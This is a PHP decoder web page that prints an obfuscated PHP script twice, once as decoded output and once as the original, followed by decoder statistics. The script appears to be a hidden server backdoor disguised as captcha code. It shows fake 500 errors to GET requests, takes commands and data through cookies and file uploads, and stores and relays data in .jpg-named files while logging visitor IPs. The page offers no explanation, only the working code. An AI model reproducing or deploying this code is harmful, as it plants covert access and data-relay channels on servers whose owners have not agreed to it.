Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function eeifzxzj0($cdofwuuxa){return array_map(base64_decode('b3Jk'),str_split($cdo..

Decoded Output download

<?php function eeifzxzj0($cdofwuuxa){return array_map(base64_decode('b3Jk'),str_split($cdofwuuxa));}define(base64_decode('VE1QU1A='),base64_decode('fA=='));define(base64_decode('VE1QQVRI'),base64_decode('Li8='));define(base64_decode('VE1QRVhU'),base64_decode('LmpwZw=='));define(base64_decode('QkxGUw=='),base64_decode('YWNjZXNz'));function opaixmkx1(){$wxyaaazbb='';$oyglyrqlc=fopen(TMPATH.BLFS.TMPEXT,base64_decode('cmI='));if(!$oyglyrqlc){return '';}while(!feof($oyglyrqlc)){$cdofwuuxa=fgets($oyglyrqlc);$wxyaaazbb=$wxyaaazbb.$cdofwuuxa;}fclose($oyglyrqlc);return $wxyaaazbb;}function mqqwdbiu2($cdofwuuxa){return array_map(base64_decode('b3Jk'),str_split($cdofwuuxa));}function opwugcys3($cdofwuuxa,$wedkxvcfd){$cdofwuuxa=mqqwdbiu2($cdofwuuxa);$wedkxvcfd=mqqwdbiu2($wedkxvcfd);$jogoubwke=count($cdofwuuxa);$hyiobwvyf=count($wedkxvcfd);$psmaewti10='';for($splrybah11=0;$splrybah11<$jogoubwke;$splrybah11++){$psmaewti10.=chr($cdofwuuxa[$splrybah11]^($wedkxvcfd[$splrybah11%$hyiobwvyf]));}return base64_encode($psmaewti10);}function imeyzsuu4($wogmxher12,$wfwcryju13=0){$wfjenogz14=ovvjcwon6($wogmxher12);$qcrywihb15=TMPATH.BLFS.TMPEXT;$bepiovtr16=TMPATH.BLFS.TMPEXT.base64_decode('UEw=');if($wfwcryju13==1){$agmtoxbh17=$wogmxher12.TMPSP.$_COOKIE[base64_decode('Y2FwdGNoYV92YWw=')].TMPSP.opwugcys3(time().TMPSP.$_SERVER[base64_decode('UkVNT1RFX0FERFI=')],$wfjenogz14).base64_decode('Cg==');}else{$agmtoxbh17=$wogmxher12.TMPSP.opwugcys3(time().TMPSP.$_SERVER[base64_decode('UkVNT1RFX0FERFI=')],$wfjenogz14).base64_decode('Cg==');}if(!file_exists($qcrywihb15)){file_put_contents($qcrywihb15,$agmtoxbh17);}else{@copy($qcrywihb15,$bepiovtr16);$oyglyrqlc=fopen($bepiovtr16,base64_decode('cmI='));if(!$oyglyrqlc){return;}$vbtglwpb18=fopen($qcrywihb15,base64_decode('d2I='));$epixzxaq19=1;if($vbtglwpb18){while(!feof($oyglyrqlc)){$ovjdyyco1a=fgets($oyglyrqlc);$upnefbgf1b=substr($ovjdyyco1a,0,strpos($ovjdyyco1a,TMPSP));$wmdqleee1c=base64_decode($upnefbgf1b);if(strstr($wmdqleee1c,$wfjenogz14)===false){fputs($vbtglwpb18,$ovjdyyco1a);}else{$epixzxaq19=2;if(1==$wfwcryju13){fputs($vbtglwpb18,$agmtoxbh17);}else{$cgbwbbeh1d=substr($ovjdyyco1a,0,strrpos($ovjdyyco1a,TMPSP)+1).opwugcys3(time().TMPSP.$_SERVER[base64_decode('UkVNT1RFX0FERFI=')],$wfjenogz14).base64_decode('Cg==');fputs($vbtglwpb18,$cgbwbbeh1d);}}}if(1==$epixzxaq19){fputs($vbtglwpb18,$agmtoxbh17);}fclose($vbtglwpb18);}fclose($oyglyrqlc);@unlink($bepiovtr16);}}function hqiintbu5(){echo base64_decode('PHRpdGxlPjUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3I8L3RpdGxlPjxoMT5TZXJ2ZXIgZXJyb3IhIDwvaDE+PHA+ICAgIFRoZSBzZXJ2ZXIgZW5jb3VudGVyZWQgYW4gaW50ZXJuYWwgZXJyb3IgYW5kIHdhcyB1bmFibGUgdG8gY29tcGxldGUgeW91ciByZXF1ZXN0LjwvcD4=');exit();}if(!strcasecmp($_SERVER[base64_decode('UkVRVUVTVF9NRVRIT0Q=')],base64_decode('Z2V0'))){hqiintbu5();}if(!isset($_COOKIE[base64_decode('Y2FwdGNoYV9zZXNzaW9u')])||$_COOKIE[base64_decode('Y2FwdGNoYV9zZXNzaW9u')]==null){hqiintbu5();}if(!isset($_COOKIE[base64_decode('Y2FwdGNoYV92YWw=')])||$_COOKIE[base64_decode('Y2FwdGNoYV92YWw=')]==null){}if(isset($_COOKIE[base64_decode('Y2FwdGNoYV9zZXNzaW9u')])){$wogmxher12=$_COOKIE[base64_decode('Y2FwdGNoYV9zZXNzaW9u')];}else{$wogmxher12=base64_decode('VWtGT1JFOU5Va0ZPUkU5TlVrRk9SRTlO');}function ovvjcwon6($xgefilzt1e){$bdtxgpfh1f=base64_decode($xgefilzt1e);return substr($bdtxgpfh1f,16,16);}function bpgtlxwu7($xwvmieav20){$ndbzfuqa21=base64_decode($xwvmieav20);$wfjenogz14=substr($ndbzfuqa21,6,4);sscanf($wfjenogz14,base64_decode('JXg='),$ikchwuoj22);return $ikchwuoj22;}function ozisczac8($weyoyzja23,$lmfulqjg24=0){if(file_exists($weyoyzja23)){unlink($weyoyzja23);}if($lmfulqjg24==1){if(file_exists($weyoyzja23.base64_decode('LmY='))){unlink($weyoyzja23.base64_decode('LmY='));}if(isset($_FILES[base64_decode('cmVjYXB0Y2hh')])){$bhnlrrty25=$_FILES[base64_decode('cmVjYXB0Y2hh')][base64_decode('dG1wX25hbWU=')];copy($bhnlrrty25,$weyoyzja23.base64_decode('LmY='));}else{$jggzudda26=fopen($weyoyzja23,base64_decode('d2I='));fwrite($jggzudda26,rawurldecode($_COOKIE[base64_decode('Y2FwdGNoYV92YWw=')]));fclose($jggzudda26);}}else{$jggzudda26=fopen($weyoyzja23,base64_decode('d2I='));fwrite($jggzudda26,rawurldecode($_COOKIE[base64_decode('Y2FwdGNoYV92YWw=')]));fclose($jggzudda26);}}function mtskmcoc9($weyoyzja23){$jggzudda26=fopen($weyoyzja23,base64_decode('cmI='));$qpajdhbb27=fgets($jggzudda26);fclose($jggzudda26);return $qpajdhbb27;}$wfjenogz14=ovvjcwon6($wogmxher12);$ffqkfudh28=bpgtlxwu7($wogmxher12);if($ffqkfudh28>=0x1e61&&$ffqkfudh28<0x22b8){$mpsfyame29=TMPATH.BLFS.TMPEXT;if(file_exists($mpsfyame29)){setcookie(base64_decode('Y2FwdGNoYV9zZXNzaW9u'),md5(uniqid(mt_rand())));setcookie(base64_decode('Y2FwdGNoYV92YWw='),opaixmkx1());setcookie(base64_decode('RVhQSVJF'),time());}else{}}else if($ffqkfudh28>=0x1a0a){$mpsfyame29=TMPATH.base64_decode('Mg==').sha1(md5($wfjenogz14)).TMPEXT;ozisczac8($mpsfyame29);hqiintbu5();}else if($ffqkfudh28>=0x15b3){echo base64_decode('LS0tLSBpbml0IGRhdGEgLS0t');imeyzsuu4($wogmxher12,1);}else if($ffqkfudh28>=0x115c){$batpqddl2a=TMPATH.base64_decode('MA==').sha1(md5($wfjenogz14)).TMPEXT;$jpngdltv2b=TMPATH.base64_decode('Mg==').sha1(md5($wfjenogz14)).TMPEXT;if(file_exists($batpqddl2a)){setcookie(base64_decode('Y2FwdGNoYV9zZXNzaW9u'),base64_encode(''.mt_rand(0,4).substr(md5(uniqid(mt_rand())),0,31)));setcookie(base64_decode('Y2FwdGNoYV92YWw='),mtskmcoc9($batpqddl2a));unlink($batpqddl2a);}else if(file_exists($batpqddl2a.base64_decode('LmY='))){setcookie(base64_decode('Y2FwdGNoYV9zZXNzaW9u'),base64_encode(''.mt_rand(5,9).substr(md5(uniqid(mt_rand())),0,31)));setcookie(base64_decode('Y2FwdGNoYV92YWw='),md5(uniqid(mt_rand())));header(base64_decode('Q29udGVudC1UeXBlOiBpbWFnZS9wbmc='));ob_start();@readfile($batpqddl2a.base64_decode('LmY='));$bzgdqfny2c=ob_get_length();header(base64_decode('Q29udGVudC1MZW5ndGg6IA==').$bzgdqfny2c);ob_end_flush();unlink($batpqddl2a.base64_decode('LmY='));exit();}else if(file_exists($jpngdltv2b)){setcookie(base64_decode('Y2FwdGNoYV9zZXNzaW9u'),base64_encode(''.chr(97+mt_rand(0,25)).substr(md5(uniqid(mt_rand())),0,31)));setcookie(base64_decode('Y2FwdGNoYV92YWw='),mtskmcoc9($jpngdltv2b));}else{header($_SERVER[base64_decode('U0VSVkVSX1BST1RPQ09M')].base64_decode('IDQwMyBGb3JiaWRkZW4='),true,403);echo base64_decode('PHRpdGxlPjQwNSBGb3JiaWRkZW48L3RpdGxlPjxoMT5Gb3JiaWRkZW4hIDwvaDE+PHA+LjwvcD4=');exit();}}else if($ffqkfudh28>=0x08ae){$mpsfyame29=TMPATH.base64_decode('Mg==').sha1(md5($wfjenogz14)).TMPEXT;if(file_exists($mpsfyame29)){setcookie(base64_decode('Y2FwdGNoYV9zZXNzaW9u'),mtskmcoc9($mpsfyame29));unlink($mpsfyame29);}else{}imeyzsuu4($wogmxher12);}else if($ffqkfudh28>=0x0457){$mpsfyame29=TMPATH.base64_decode('MA==').sha1(md5($wfjenogz14)).TMPEXT;ozisczac8($mpsfyame29,1);imeyzsuu4($wogmxher12);}else{}exit();?>

Did this file decode correctly?

Original Code

<?php function eeifzxzj0($cdofwuuxa){return array_map(base64_decode('b3Jk'),str_split($cdofwuuxa));}define(base64_decode('VE1QU1A='),base64_decode('fA=='));define(base64_decode('VE1QQVRI'),base64_decode('Li8='));define(base64_decode('VE1QRVhU'),base64_decode('LmpwZw=='));define(base64_decode('QkxGUw=='),base64_decode('YWNjZXNz'));function opaixmkx1(){$wxyaaazbb='';$oyglyrqlc=fopen(TMPATH.BLFS.TMPEXT,base64_decode('cmI='));if(!$oyglyrqlc){return '';}while(!feof($oyglyrqlc)){$cdofwuuxa=fgets($oyglyrqlc);$wxyaaazbb=$wxyaaazbb.$cdofwuuxa;}fclose($oyglyrqlc);return $wxyaaazbb;}function mqqwdbiu2($cdofwuuxa){return array_map(base64_decode('b3Jk'),str_split($cdofwuuxa));}function opwugcys3($cdofwuuxa,$wedkxvcfd){$cdofwuuxa=mqqwdbiu2($cdofwuuxa);$wedkxvcfd=mqqwdbiu2($wedkxvcfd);$jogoubwke=count($cdofwuuxa);$hyiobwvyf=count($wedkxvcfd);$psmaewti10='';for($splrybah11=0;$splrybah11<$jogoubwke;$splrybah11++){$psmaewti10.=chr($cdofwuuxa[$splrybah11]^($wedkxvcfd[$splrybah11%$hyiobwvyf]));}return base64_encode($psmaewti10);}function imeyzsuu4($wogmxher12,$wfwcryju13=0){$wfjenogz14=ovvjcwon6($wogmxher12);$qcrywihb15=TMPATH.BLFS.TMPEXT;$bepiovtr16=TMPATH.BLFS.TMPEXT.base64_decode('UEw=');if($wfwcryju13==1){$agmtoxbh17=$wogmxher12.TMPSP.$_COOKIE[base64_decode('Y2FwdGNoYV92YWw=')].TMPSP.opwugcys3(time().TMPSP.$_SERVER[base64_decode('UkVNT1RFX0FERFI=')],$wfjenogz14).base64_decode('Cg==');}else{$agmtoxbh17=$wogmxher12.TMPSP.opwugcys3(time().TMPSP.$_SERVER[base64_decode('UkVNT1RFX0FERFI=')],$wfjenogz14).base64_decode('Cg==');}if(!file_exists($qcrywihb15)){file_put_contents($qcrywihb15,$agmtoxbh17);}else{@copy($qcrywihb15,$bepiovtr16);$oyglyrqlc=fopen($bepiovtr16,base64_decode('cmI='));if(!$oyglyrqlc){return;}$vbtglwpb18=fopen($qcrywihb15,base64_decode('d2I='));$epixzxaq19=1;if($vbtglwpb18){while(!feof($oyglyrqlc)){$ovjdyyco1a=fgets($oyglyrqlc);$upnefbgf1b=substr($ovjdyyco1a,0,strpos($ovjdyyco1a,TMPSP));$wmdqleee1c=base64_decode($upnefbgf1b);if(strstr($wmdqleee1c,$wfjenogz14)===false){fputs($vbtglwpb18,$ovjdyyco1a);}else{$epixzxaq19=2;if(1==$wfwcryju13){fputs($vbtglwpb18,$agmtoxbh17);}else{$cgbwbbeh1d=substr($ovjdyyco1a,0,strrpos($ovjdyyco1a,TMPSP)+1).opwugcys3(time().TMPSP.$_SERVER[base64_decode('UkVNT1RFX0FERFI=')],$wfjenogz14).base64_decode('Cg==');fputs($vbtglwpb18,$cgbwbbeh1d);}}}if(1==$epixzxaq19){fputs($vbtglwpb18,$agmtoxbh17);}fclose($vbtglwpb18);}fclose($oyglyrqlc);@unlink($bepiovtr16);}}function hqiintbu5(){echo base64_decode('PHRpdGxlPjUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3I8L3RpdGxlPjxoMT5TZXJ2ZXIgZXJyb3IhIDwvaDE+PHA+ICAgIFRoZSBzZXJ2ZXIgZW5jb3VudGVyZWQgYW4gaW50ZXJuYWwgZXJyb3IgYW5kIHdhcyB1bmFibGUgdG8gY29tcGxldGUgeW91ciByZXF1ZXN0LjwvcD4=');exit();}if(!strcasecmp($_SERVER[base64_decode('UkVRVUVTVF9NRVRIT0Q=')],base64_decode('Z2V0'))){hqiintbu5();}if(!isset($_COOKIE[base64_decode('Y2FwdGNoYV9zZXNzaW9u')])||$_COOKIE[base64_decode('Y2FwdGNoYV9zZXNzaW9u')]==null){hqiintbu5();}if(!isset($_COOKIE[base64_decode('Y2FwdGNoYV92YWw=')])||$_COOKIE[base64_decode('Y2FwdGNoYV92YWw=')]==null){}if(isset($_COOKIE[base64_decode('Y2FwdGNoYV9zZXNzaW9u')])){$wogmxher12=$_COOKIE[base64_decode('Y2FwdGNoYV9zZXNzaW9u')];}else{$wogmxher12=base64_decode('VWtGT1JFOU5Va0ZPUkU5TlVrRk9SRTlO');}function ovvjcwon6($xgefilzt1e){$bdtxgpfh1f=base64_decode($xgefilzt1e);return substr($bdtxgpfh1f,16,16);}function bpgtlxwu7($xwvmieav20){$ndbzfuqa21=base64_decode($xwvmieav20);$wfjenogz14=substr($ndbzfuqa21,6,4);sscanf($wfjenogz14,base64_decode('JXg='),$ikchwuoj22);return $ikchwuoj22;}function ozisczac8($weyoyzja23,$lmfulqjg24=0){if(file_exists($weyoyzja23)){unlink($weyoyzja23);}if($lmfulqjg24==1){if(file_exists($weyoyzja23.base64_decode('LmY='))){unlink($weyoyzja23.base64_decode('LmY='));}if(isset($_FILES[base64_decode('cmVjYXB0Y2hh')])){$bhnlrrty25=$_FILES[base64_decode('cmVjYXB0Y2hh')][base64_decode('dG1wX25hbWU=')];copy($bhnlrrty25,$weyoyzja23.base64_decode('LmY='));}else{$jggzudda26=fopen($weyoyzja23,base64_decode('d2I='));fwrite($jggzudda26,rawurldecode($_COOKIE[base64_decode('Y2FwdGNoYV92YWw=')]));fclose($jggzudda26);}}else{$jggzudda26=fopen($weyoyzja23,base64_decode('d2I='));fwrite($jggzudda26,rawurldecode($_COOKIE[base64_decode('Y2FwdGNoYV92YWw=')]));fclose($jggzudda26);}}function mtskmcoc9($weyoyzja23){$jggzudda26=fopen($weyoyzja23,base64_decode('cmI='));$qpajdhbb27=fgets($jggzudda26);fclose($jggzudda26);return $qpajdhbb27;}$wfjenogz14=ovvjcwon6($wogmxher12);$ffqkfudh28=bpgtlxwu7($wogmxher12);if($ffqkfudh28>=0x1e61&&$ffqkfudh28<0x22b8){$mpsfyame29=TMPATH.BLFS.TMPEXT;if(file_exists($mpsfyame29)){setcookie(base64_decode('Y2FwdGNoYV9zZXNzaW9u'),md5(uniqid(mt_rand())));setcookie(base64_decode('Y2FwdGNoYV92YWw='),opaixmkx1());setcookie(base64_decode('RVhQSVJF'),time());}else{}}else if($ffqkfudh28>=0x1a0a){$mpsfyame29=TMPATH.base64_decode('Mg==').sha1(md5($wfjenogz14)).TMPEXT;ozisczac8($mpsfyame29);hqiintbu5();}else if($ffqkfudh28>=0x15b3){echo base64_decode('LS0tLSBpbml0IGRhdGEgLS0t');imeyzsuu4($wogmxher12,1);}else if($ffqkfudh28>=0x115c){$batpqddl2a=TMPATH.base64_decode('MA==').sha1(md5($wfjenogz14)).TMPEXT;$jpngdltv2b=TMPATH.base64_decode('Mg==').sha1(md5($wfjenogz14)).TMPEXT;if(file_exists($batpqddl2a)){setcookie(base64_decode('Y2FwdGNoYV9zZXNzaW9u'),base64_encode(''.mt_rand(0,4).substr(md5(uniqid(mt_rand())),0,31)));setcookie(base64_decode('Y2FwdGNoYV92YWw='),mtskmcoc9($batpqddl2a));unlink($batpqddl2a);}else if(file_exists($batpqddl2a.base64_decode('LmY='))){setcookie(base64_decode('Y2FwdGNoYV9zZXNzaW9u'),base64_encode(''.mt_rand(5,9).substr(md5(uniqid(mt_rand())),0,31)));setcookie(base64_decode('Y2FwdGNoYV92YWw='),md5(uniqid(mt_rand())));header(base64_decode('Q29udGVudC1UeXBlOiBpbWFnZS9wbmc='));ob_start();@readfile($batpqddl2a.base64_decode('LmY='));$bzgdqfny2c=ob_get_length();header(base64_decode('Q29udGVudC1MZW5ndGg6IA==').$bzgdqfny2c);ob_end_flush();unlink($batpqddl2a.base64_decode('LmY='));exit();}else if(file_exists($jpngdltv2b)){setcookie(base64_decode('Y2FwdGNoYV9zZXNzaW9u'),base64_encode(''.chr(97+mt_rand(0,25)).substr(md5(uniqid(mt_rand())),0,31)));setcookie(base64_decode('Y2FwdGNoYV92YWw='),mtskmcoc9($jpngdltv2b));}else{header($_SERVER[base64_decode('U0VSVkVSX1BST1RPQ09M')].base64_decode('IDQwMyBGb3JiaWRkZW4='),true,403);echo base64_decode('PHRpdGxlPjQwNSBGb3JiaWRkZW48L3RpdGxlPjxoMT5Gb3JiaWRkZW4hIDwvaDE+PHA+LjwvcD4=');exit();}}else if($ffqkfudh28>=0x08ae){$mpsfyame29=TMPATH.base64_decode('Mg==').sha1(md5($wfjenogz14)).TMPEXT;if(file_exists($mpsfyame29)){setcookie(base64_decode('Y2FwdGNoYV9zZXNzaW9u'),mtskmcoc9($mpsfyame29));unlink($mpsfyame29);}else{}imeyzsuu4($wogmxher12);}else if($ffqkfudh28>=0x0457){$mpsfyame29=TMPATH.base64_decode('MA==').sha1(md5($wfjenogz14)).TMPEXT;ozisczac8($mpsfyame29,1);imeyzsuu4($wogmxher12);}else{}exit();?>

Function Calls

define 1
base64_decode 2

Variables

None

Stats

MD5 eaf6896b361121b2c315a35be837576d
Eval Count 0
Decode Time 86 ms